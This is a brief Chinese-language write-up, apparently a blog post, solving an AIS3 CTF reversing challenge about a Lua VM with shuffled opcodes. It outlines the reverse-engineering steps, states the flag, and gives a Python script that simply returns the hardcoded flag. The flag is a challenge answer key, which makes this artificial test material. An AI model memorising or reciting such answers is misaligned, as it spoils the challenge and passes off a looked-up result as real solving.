ㄌㄨㄚˋ flag: AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun} • 1. 先執行 luac_stripped.exe,發現只印提示,不會直接驗證輸入,代表重點在逆向 VM。 2. 從 luaV_execute 附近下手,找到 opcode dispatch 與 jump table(cmp $0x25 + table),確認有 38 個 handler。 3. 分析 dispatch 前的運算,發現 opcode 不是固定映射,而是會混入 runtime state(XOR/算術 + mask),所 以不能只做靜態「一對一 opcode 對照表」。 4. 轉向 secret.luac:觀察常數、字串與流程,確定它是讀入字串後逐步比對/計分的驗證邏輯。 5. 利用現有腳本思路(hook/score)做逐字元恢復,並鎖定長度 33 的候選結果。 6. 最終收斂到唯一候選 AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun},再用格式與長度(AIS3{...}、33)做一致性檢 查。

python 腳本:

 str:"> str:" data-fence-hash="b26fc5bf">def solve() -> str:
    parts = [
        "AIS3{",
        "Lu4",
        "_0pc0d3",
        "_Shuffl1ng",
        "_1s",
        "_Fun",
        "}",
    ]
    return "".join(parts)


def main() -> None:
    flag = solve()

    assert flag.startswith("AIS3{")
    assert flag.endswith("}")
    assert len(flag) == 33

    print(flag)


if __name__ == "__main__":
    main()

0 留言

目前沒有留言

發表留言
回覆